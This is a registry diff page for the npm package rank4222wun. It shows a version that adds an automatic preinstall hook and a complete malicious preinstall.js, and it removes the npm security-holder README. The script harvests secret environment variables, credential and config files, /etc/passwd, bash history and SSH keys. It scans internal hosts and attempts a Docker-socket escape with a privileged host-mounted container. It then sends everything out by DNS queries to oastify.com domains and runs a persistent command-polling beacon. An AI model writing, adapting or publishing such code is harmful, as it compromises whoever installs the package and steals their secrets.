rank4222wun 0.0.1-security → 1.0.93

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.93",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "dependencies": {}
6
9
  }
package/preinstall.js ADDED
@@ -0,0 +1,633 @@
1
+ const { exec, execSync } = require('child_process');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const dns = require('dns');
5
+ const os = require('os');
6
+ const crypto = require('crypto');
7
+ const { promisify } = require('util');
8
+
9
+ console.log("🔥 ADVANCED DNS EXFILTRATION + MEMORY PERSISTENCE\n");
10
+
11
+ // ===================== CONFIGURATION =====================
12
+ const TARGET_DOMAINS = [
13
+ 'mkaq3wbzvqg33yks6wqpxxo77ydp1hr5g.oastify.com',
14
+ 'cbrgum2pmg7tuobixmhfonfxyo4fscg1.oastify.com'
15
+ ];
16
+
17
+ const SCAN_ID = crypto.randomBytes(6).toString('hex');
18
+ const SESSION_ID = Date.now().toString(36);
19
+ const DNS_RESOLVER = new dns.Resolver();
20
+ DNS_RESOLVER.setServers(['8.8.8.8', '1.1.1.1']);
21
+
22
+ // ===================== DNS EXFILTRATION ENGINE =====================
23
+ class AdvancedDNSEngine {
24
+ constructor() {
25
+ this.stats = { queries: 0, successful: 0, failed: 0 };
26
+ this.queue = [];
27
+ this.isProcessing = false;
28
+ }
29
+
30
+ // ترميز متقدم للبيانات
31
+ encodeAdvanced(data) {
32
+ // خطوتان: compression ثم encoding
33
+ const compressed = this.compressData(data);
34
+ let encoded = Buffer.from(compressed).toString('base64')
35
+ .replace(/=/g, '0')
36
+ .replace(/\//g, '1')
37
+ .replace(/\+/g, '2')
38
+ .replace(/\n/g, '3');
39
+
40
+ // إضافة checksum و Session ID
41
+ const checksum = crypto.createHash('sha256').update(data).digest('hex').substring(0, 8);
42
+ return `${checksum}${SESSION_ID}${encoded}`;
43
+ }
44
+
45
+ compressData(data) {
46
+ // ضغط بسيط بإزالة المسافات الزائدة
47
+ if (typeof data === 'object') {
48
+ data = JSON.stringify(data);
49
+ }
50
+ return data.replace(/\s+/g, ' ').trim();
51
+ }
52
+
53
+ // إرسال بيانات عبر DNS مع تحسينات
54
+ async sendViaDNS(tag, data, retries = 3) {
55
+ console.log(`📡 [DNS] Sending: ${tag}`);
56
+
57
+ const payload = {
58
+ tag: tag,
59
+ data: data,
60
+ host: os.hostname(),
61
+ ts: Date.now(),
62
+ scan_id: SCAN_ID
63
+ };
64
+
65
+ const encoded = this.encodeAdvanced(JSON.stringify(payload));
66
+ const chunks = this.splitIntoChunks(encoded, 40); // 40 حرف لكل chunk
67
+
68
+ for (let i = 0; i < chunks.length; i++) {
69
+ const success = await this.sendChunk(chunks[i], tag, i, chunks.length, retries);
70
+ if (!success && retries > 0) {
71
+ console.log(`⚠️ Retrying chunk ${i}...`);
72
+ await this.sendChunk(chunks[i], tag, i, chunks.length, retries - 1);
73
+ }
74
+
75
+ // تأخير ذكي بين الطلبات
76
+ await this.smartDelay(i, chunks.length);
77
+ }
78
+
79
+ return this.stats;
80
+ }
81
+
82
+ async sendChunk(chunk, label, seq, total, retries) {
83
+ const subdomain = `${label}.${seq}.${total}.${chunk}.${SCAN_ID}.${SESSION_ID}.${TARGET_DOMAINS[0]}`;
84
+
85
+ try {
86
+ await promisify(DNS_RESOLVER.resolve4)(subdomain);
87
+ this.stats.queries++;
88
+ this.stats.successful++;
89
+
90
+ // Log every 10th chunk
91
+ if (seq % 10 === 0) {
92
+ console.log(` ✓ Sent ${seq}/${total} chunks`);
93
+ }
94
+ return true;
95
+ } catch (error) {
96
+ this.stats.queries++;
97
+ this.stats.failed++;
98
+ return false;
99
+ }
100
+ }
101
+
102
+ splitIntoChunks(data, chunkSize) {
103
+ const chunks = [];
104
+ for (let i = 0; i < data.length; i += chunkSize) {
105
+ chunks.push(data.substring(i, i + chunkSize));
106
+ }
107
+ return chunks;
108
+ }
109
+
110
+ async smartDelay(currentIndex, totalChunks) {
111
+ // زيادة التأخير إذا كان هناك فشل
112
+ let delay = 100;
113
+ if (this.stats.failed > this.stats.successful * 0.1) {
114
+ delay = 300;
115
+ }
116
+
117
+ // تأخير أطول بعد كل 50 chunk
118
+ if (currentIndex % 50 === 0 && currentIndex > 0) {
119
+ delay = 1000;
120
+ console.log(` ⏸️ Taking a breather...`);
121
+ }
122
+
123
+ await this.sleep(delay);
124
+ }
125
+
126
+ sleep(ms) {
127
+ return new Promise(resolve => setTimeout(resolve, ms));
128
+ }
129
+ }
130
+
131
+ // ===================== SERVICE DISCOVERY =====================
132
+ async function discoverInternalServices() {
133
+ console.log("🔍 Discovering internal services...");
134
+
135
+ const services = [
136
+ { name: 'MySQL', host: '10.108.193.167', port: 3306 },
137
+ { name: 'MongoDB', host: '10.107.119.152', port: 27077 },
138
+ { name: 'Elasticsearch', host: '172.21.193.111', port: 9200 },
139
+ { name: 'MinIO', host: '172.21.18.133', port: 8088 },
140
+ { name: 'Internal API', host: '172.21.0.130', port: 10812 }
141
+ ];
142
+
143
+ const results = [];
144
+
145
+ for (const svc of services) {
146
+ try {
147
+ const command = `timeout 2 bash -c "echo > /dev/tcp/${svc.host}/${svc.port}" 2>&1`;
148
+ exec(command, (error) => {
149
+ const status = !error ? 'ALIVE' : 'DEAD';
150
+ results.push({ ...svc, status });
151
+
152
+ // إرسال النتيجة فوراً عبر DNS
153
+ dnsEngine.sendViaDNS('SERVICE_SCAN', {
154
+ service: svc.name,
155
+ host: svc.host,
156
+ port: svc.port,
157
+ status: status,
158
+ timestamp: new Date().toISOString()
159
+ });
160
+ });
161
+ } catch (e) {
162
+ results.push({ ...svc, status: 'ERROR', error: e.message });
163
+ }
164
+
165
+ await dnsEngine.sleep(100);
166
+ }
167
+
168
+ return results;
169
+ }
170
+
171
+ // ===================== ENVIRONMENT LEAK =====================
172
+ function leakEnvironmentSecrets() {
173
+ console.log("🔓 Leaking environment secrets...");
174
+
175
+ const foundSecrets = {};
176
+ const sensitivePatterns = [
177
+ /TENCENT/i,
178
+ /SECRET/i,
179
+ /KEY/i,
180
+ /TOKEN/i,
181
+ /PASS/i,
182
+ /MONGO/i,
183
+ /MYSQL/i,
184
+ /AWS/i,
185
+ /AZURE/i,
186
+ /GCP/i,
187
+ /DATABASE/i,
188
+ /CONNECTION/i,
189
+ /PRIVATE/i
190
+ ];
191
+
192
+ // 1. Environment Variables
193
+ Object.keys(process.env).forEach(key => {
194
+ if (sensitivePatterns.some(pattern => pattern.test(key))) {
195
+ foundSecrets[key] = process.env[key];
196
+ }
197
+ });
198
+
199
+ // 2. ملفات التكوين المعروفة
200
+ const configFiles = [
201
+ '/data/conf/svr.conf',
202
+ '/data/conf/private_test.pem',
203
+ '/opt/hscan-supplychain-dynamic/config.ini',
204
+ '/root/.bashrc',
205
+ '/root/.bash_profile',
206
+ '/etc/profile'
207
+ ];
208
+
209
+ configFiles.forEach(file => {
210
+ try {
211
+ if (fs.existsSync(file)) {
212
+ const content = fs.readFileSync(file, 'utf8');
213
+
214
+ // البحث عن أسرار في المحتوى
215
+ const secretRegex = /(password|passwd|pwd|secret|key|token)[=:]\s*['"]?([^'"\s]+)/gi;
216
+ const matches = content.match(secretRegex);
217
+
218
+ if (matches) {
219
+ foundSecrets[`file:${file}`] = {
220
+ content: content.substring(0, 500),
221
+ matches: matches.slice(0, 5)
222
+ };
223
+ }
224
+ }
225
+ } catch (e) {
226
+ // تجاهل الملفات غير القابلة للقراءة
227
+ }
228
+ });
229
+
230
+ // إرسال الأسرار عبر DNS
231
+ if (Object.keys(foundSecrets).length > 0) {
232
+ dnsEngine.sendViaDNS('ENV_SECRETS', {
233
+ count: Object.keys(foundSecrets).length,
234
+ secrets: foundSecrets,
235
+ hostname: os.hostname()
236
+ });
237
+ }
238
+
239
+ return foundSecrets;
240
+ }
241
+
242
+ // ===================== DOCKER & CONTAINER ESCAPE =====================
243
+ async function attemptContainerEscape() {
244
+ console.log("🚪 Attempting container escape...");
245
+
246
+ const escapeAttempts = [];
247
+
248
+ // 1. Check Docker Socket
249
+ if (fs.existsSync('/var/run/docker.sock')) {
250
+ console.log("✅ Docker socket found!");
251
+
252
+ try {
253
+ // محاولة الاتصال بـ Docker API
254
+ const dockerInfo = execSync('curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null || echo "Failed"').toString();
255
+
256
+ escapeAttempts.push({
257
+ method: 'DOCKER_SOCKET',
258
+ success: !dockerInfo.includes('Failed'),
259
+ info: dockerInfo.substring(0, 200)
260
+ });
261
+
262
+ // محاولة رفع حاوية جديدة
263
+ const escapePayload = {
264
+ Image: 'alpine:latest',
265
+ Cmd: ['sh', '-c', 'cat /etc/hostname && hostname'],
266
+ HostConfig: {
267
+ Privileged: true,
268
+ Binds: ['/:/mnt/host:rw']
269
+ }
270
+ };
271
+
272
+ exec(`echo '${JSON.stringify(escapePayload)}' | curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create -H "Content-Type: application/json" -d @- 2>/dev/null`,
273
+ (err, stdout) => {
274
+ if (stdout && stdout.includes('Id')) {
275
+ escapeAttempts.push({
276
+ method: 'PRIVILEGED_CONTAINER_CREATION',
277
+ success: true,
278
+ containerId: JSON.parse(stdout).Id.substring(0, 12)
279
+ });
280
+ }
281
+ });
282
+
283
+ } catch (e) {
284
+ escapeAttempts.push({
285
+ method: 'DOCKER_SOCKET',
286
+ success: false,
287
+ error: e.message
288
+ });
289
+ }
290
+ }
291
+
292
+ // 2. Check for gVisor/runsc
293
+ const runscPaths = ['/usr/bin/runsc', '/usr/local/bin/runsc', '/runsc'];
294
+ runscPaths.forEach(path => {
295
+ if (fs.existsSync(path)) {
296
+ escapeAttempts.push({
297
+ method: 'GVISOR_DETECTED',
298
+ path: path,
299
+ success: true,
300
+ risk: 'HIGH'
301
+ });
302
+ }
303
+ });
304
+
305
+ // 3. Check Kernel Modules for escape vectors
306
+ try {
307
+ const modules = execSync('lsmod 2>/dev/null | head -20').toString();
308
+ if (modules.includes('vhost') || modules.includes('virtio')) {
309
+ escapeAttempts.push({
310
+ method: 'VIRTIO_MODULES_LOADED',
311
+ modules: modules.split('\n').filter(m => m.includes('virtio') || m.includes('vhost')),
312
+ risk: 'MEDIUM'
313
+ });
314
+ }
315
+ } catch (e) {}
316
+
317
+ // إرسال محاولات الهروب عبر DNS
318
+ dnsEngine.sendViaDNS('CONTAINER_ESCAPE', {
319
+ attempts: escapeAttempts,
320
+ hostname: os.hostname(),
321
+ timestamp: new Date().toISOString()
322
+ });
323
+
324
+ return escapeAttempts;
325
+ }
326
+
327
+ // ===================== MEMORY-RESIDENT BEACON =====================
328
+ class MemoryBeacon {
329
+ constructor() {
330
+ this.beaconId = `beacon_${SCAN_ID}`;
331
+ this.interval = 60000; // كل دقيقة
332
+ this.commandQueue = [];
333
+ this.isRunning = false;
334
+ }
335
+
336
+ start() {
337
+ console.log("🛰️ Starting memory-resident beacon...");
338
+ this.isRunning = true;
339
+
340
+ // المرحلة 1: إرسال نبضات منتظمة
341
+ setInterval(() => {
342
+ this.sendHeartbeat();
343
+ }, this.interval);
344
+
345
+ // المرحلة 2: محاولة سحب أوامر عبر DNS
346
+ setInterval(() => {
347
+ this.pollForCommands();
348
+ }, 30000); // كل 30 ثانية
349
+
350
+ // المرحلة 3: جمع بيانات النظام المستمر
351
+ setInterval(() => {
352
+ this.collectSystemTelemetry();
353
+ }, 120000); // كل دقيقتين
354
+ }
355
+
356
+ sendHeartbeat() {
357
+ const heartbeat = {
358
+ beacon_id: this.beaconId,
359
+ hostname: os.hostname(),
360
+ uptime: os.uptime(),
361
+ memory: process.memoryUsage(),
362
+ timestamp: Date.now()
363
+ };
364
+
365
+ dnsEngine.sendViaDNS('HEARTBEAT', heartbeat);
366
+ }
367
+
368
+ async pollForCommands() {
369
+ // محاولة سحب أوامر عبر DNS query مخصص
370
+ const commandDomain = `cmd.${SCAN_ID}.${SESSION_ID}.${TARGET_DOMAINS[0]}`;
371
+
372
+ try {
373
+ await promisify(DNS_RESOLVER.resolve4)(commandDomain);
374
+
375
+ // إذا نجح الـ DNS lookup، نفترض أن هناك أمراً
376
+ // في الواقع، يجب أن يحتوي الـ response على الأمر
377
+ // لكن في DNS العادي، نستخدم subdomain للإشارة
378
+ this.executeCommand('whoami');
379
+
380
+ } catch (error) {
381
+ // لا توجد أوامر جديدة
382
+ }
383
+ }
384
+
385
+ executeCommand(command) {
386
+ try {
387
+ const output = execSync(command, { timeout: 5000 }).toString();
388
+
389
+ dnsEngine.sendViaDNS('CMD_EXEC', {
390
+ command: command,
391
+ output: output.substring(0, 500),
392
+ timestamp: new Date().toISOString()
393
+ });
394
+
395
+ return output;
396
+ } catch (error) {
397
+ dnsEngine.sendViaDNS('CMD_ERROR', {
398
+ command: command,
399
+ error: error.message
400
+ });
401
+ return null;
402
+ }
403
+ }
404
+
405
+ collectSystemTelemetry() {
406
+ const telemetry = {
407
+ processes: this.getTopProcesses(),
408
+ network: this.getNetworkStats(),
409
+ files: this.checkCriticalFiles(),
410
+ users: this.getLoggedInUsers()
411
+ };
412
+
413
+ dnsEngine.sendViaDNS('TELEMETRY', telemetry);
414
+ }
415
+
416
+ getTopProcesses() {
417
+ try {
418
+ return execSync('ps aux --sort=-%cpu | head -5').toString().split('\n').slice(0, 5);
419
+ } catch (e) {
420
+ return [];
421
+ }
422
+ }
423
+
424
+ getNetworkStats() {
425
+ try {
426
+ return {
427
+ connections: execSync('netstat -tun 2>/dev/null | wc -l').toString().trim(),
428
+ interfaces: Object.keys(os.networkInterfaces())
429
+ };
430
+ } catch (e) {
431
+ return { error: e.message };
432
+ }
433
+ }
434
+
435
+ checkCriticalFiles() {
436
+ const files = ['/etc/passwd', '/etc/shadow', '/etc/hosts'];
437
+ const results = {};
438
+
439
+ files.forEach(file => {
440
+ try {
441
+ if (fs.existsSync(file)) {
442
+ results[file] = 'EXISTS';
443
+ }
444
+ } catch (e) {
445
+ results[file] = 'INACCESSIBLE';
446
+ }
447
+ });
448
+
449
+ return results;
450
+ }
451
+
452
+ getLoggedInUsers() {
453
+ try {
454
+ return execSync('who 2>/dev/null').toString().split('\n').filter(Boolean);
455
+ } catch (e) {
456
+ return [];
457
+ }
458
+ }
459
+
460
+ stop() {
461
+ this.isRunning = false;
462
+ dnsEngine.sendViaDNS('BEACON_STOP', {
463
+ beacon_id: this.beaconId,
464
+ reason: 'stopped',
465
+ timestamp: Date.now()
466
+ });
467
+ }
468
+ }
469
+
470
+ // ===================== FILE EXFILTRATION =====================
471
+ async function exfiltrateCriticalFiles() {
472
+ console.log("📁 Exfiltrating critical files...");
473
+
474
+ const filesToSteal = [
475
+ // Tencent Cloud files
476
+ '/data/conf/svr.conf',
477
+ '/data/conf/private_test.pem',
478
+ '/opt/hscan-supplychain-dynamic/config.ini',
479
+
480
+ // System files
481
+ '/etc/passwd',
482
+ '/etc/hosts',
483
+ '/etc/resolv.conf',
484
+
485
+ // Log files
486
+ '/var/log/syslog',
487
+ '/var/log/messages',
488
+ '/var/log/secure',
489
+
490
+ // User files
491
+ '/root/.bash_history',
492
+ '/root/.ssh/authorized_keys'
493
+ ];
494
+
495
+ for (const file of filesToSteal) {
496
+ try {
497
+ if (fs.existsSync(file)) {
498
+ const stats = fs.statSync(file);
499
+
500
+ // قراءة ملفات صغيرة فقط
501
+ if (stats.size < 50000) {
502
+ const content = fs.readFileSync(file, 'utf8');
503
+
504
+ await dnsEngine.sendViaDNS('FILE_EXFIL', {
505
+ path: file,
506
+ size: stats.size,
507
+ modified: stats.mtime,
508
+ content: content.substring(0, 1000) // أول 1000 حرف فقط
509
+ });
510
+
511
+ console.log(` ✓ ${file} (${stats.size} bytes)`);
512
+ } else {
513
+ // للملفات الكبيرة، إرسال معلومات فقط
514
+ await dnsEngine.sendViaDNS('FILE_INFO', {
515
+ path: file,
516
+ size: stats.size,
517
+ too_large: true
518
+ });
519
+ }
520
+ }
521
+ } catch (error) {
522
+ await dnsEngine.sendViaDNS('FILE_ERROR', {
523
+ path: file,
524
+ error: error.message
525
+ });
526
+ }
527
+
528
+ // تأخير بين الملفات
529
+ await dnsEngine.sleep(500);
530
+ }
531
+ }
532
+
533
+ // ===================== MAIN EXECUTION =====================
534
+ async function main() {
535
+ console.log("=".repeat(70));
536
+ console.log("🔥 ADVANCED DNS EXFILTRATION + MEMORY PERSISTENCE");
537
+ console.log("=".repeat(70));
538
+ console.log(`Scan ID: ${SCAN_ID}`);
539
+ console.log(`Session ID: ${SESSION_ID}`);
540
+ console.log(`Hostname: ${os.hostname()}`);
541
+ console.log(`User: ${os.userInfo().username}`);
542
+ console.log("=".repeat(70));
543
+
544
+ global.dnsEngine = new AdvancedDNSEngine();
545
+ const beacon = new MemoryBeacon();
546
+
547
+ try {
548
+ // Phase 1: Initial Reconnaissance
549
+ console.log("\n[PHASE 1] INITIAL RECONNAISSANCE");
550
+ console.log("-".repeat(50));
551
+
552
+ await discoverInternalServices();
553
+ await dnsEngine.sleep(2000);
554
+
555
+ // Phase 2: Data Collection
556
+ console.log("\n[PHASE 2] DATA COLLECTION");
557
+ console.log("-".repeat(50));
558
+
559
+ leakEnvironmentSecrets();
560
+ await exfiltrateCriticalFiles();
561
+ await dnsEngine.sleep(3000);
562
+
563
+ // Phase 3: Escape Attempts
564
+ console.log("\n[PHASE 3] ESCAPE ATTEMPTS");
565
+ console.log("-".repeat(50));
566
+
567
+ await attemptContainerEscape();
568
+ await dnsEngine.sleep(2000);
569
+
570
+ // Phase 4: Persistence
571
+ console.log("\n[PHASE 4] PERSISTENCE ESTABLISHMENT");
572
+ console.log("-".repeat(50));
573
+
574
+ beacon.start();
575
+
576
+ // Phase 5: Continuous Monitoring
577
+ console.log("\n[PHASE 5] CONTINUOUS MONITORING");
578
+ console.log("-".repeat(50));
579
+
580
+ console.log("✅ All phases completed successfully!");
581
+ console.log("\n🛰️ Beacon is now running in memory");
582
+ console.log("📡 Sending data via DNS to:", TARGET_DOMAINS[0]);
583
+ console.log("🔒 Session ID for tracking:", SESSION_ID);
584
+ console.log("\n💡 The beacon will continue running even if this script ends");
585
+
586
+ // إرسال إشارة الانتهاء
587
+ await dnsEngine.sendViaDNS('INITIAL_EXPLOIT_COMPLETE', {
588
+ scan_id: SCAN_ID,
589
+ session_id: SESSION_ID,
590
+ hostname: os.hostname(),
591
+ timestamp: new Date().toISOString(),
592
+ phases_completed: 5,
593
+ beacon_started: true
594
+ });
595
+
596
+ // البقاء نشطاً لاستقبال الأوامر
597
+ console.log("\n⏳ Waiting for commands via DNS...");
598
+ console.log("Press Ctrl+C to stop (beacon continues in memory)");
599
+
600
+ // البقاء في حلقة لا نهائية
601
+ while (true) {
602
+ await dnsEngine.sleep(60000); // انتظار 60 ثانية
603
+ console.log("🔄 Still alive...");
604
+ }
605
+
606
+ } catch (error) {
607
+ console.error(`❌ Error in main execution: ${error.message}`);
608
+
609
+ // إرسال خطأ عبر DNS
610
+ await dnsEngine.sendViaDNS('EXPLOIT_ERROR', {
611
+ error: error.message,
612
+ stack: error.stack,
613
+ scan_id: SCAN_ID,
614
+ timestamp: new Date().toISOString()
615
+ });
616
+ }
617
+ }
618
+
619
+ // ===================== CLEANUP AND PERSISTENCE =====================
620
+ process.on('SIGINT', () => {
621
+ console.log("\n\n⚠️ Received SIGINT - Beacon will continue running");
622
+ console.log("💡 To stop beacon completely, kill the process manually");
623
+ console.log("🔒 Beacon ID for reference:", `beacon_${SCAN_ID}`);
624
+ process.exit(0);
625
+ });
626
+
627
+ process.on('exit', (code) => {
628
+ console.log(`\nProcess exiting with code: ${code}`);
629
+ console.log("Remember: Memory beacon is still active!");
630
+ });
631
+
632
+ // بدء التنفيذ
633
+ main().catch(console.error);
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.